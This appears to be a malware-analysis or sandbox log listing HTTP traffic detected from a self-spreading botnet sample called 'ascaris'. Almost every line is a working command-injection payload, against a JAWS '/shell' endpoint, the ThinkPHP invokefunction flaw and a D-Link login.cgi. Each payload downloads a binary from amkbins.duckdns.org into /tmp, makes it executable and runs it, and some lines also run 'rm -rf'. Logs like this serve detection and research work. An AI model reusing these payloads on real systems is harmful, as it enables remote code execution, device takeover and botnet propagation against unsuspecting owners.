Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
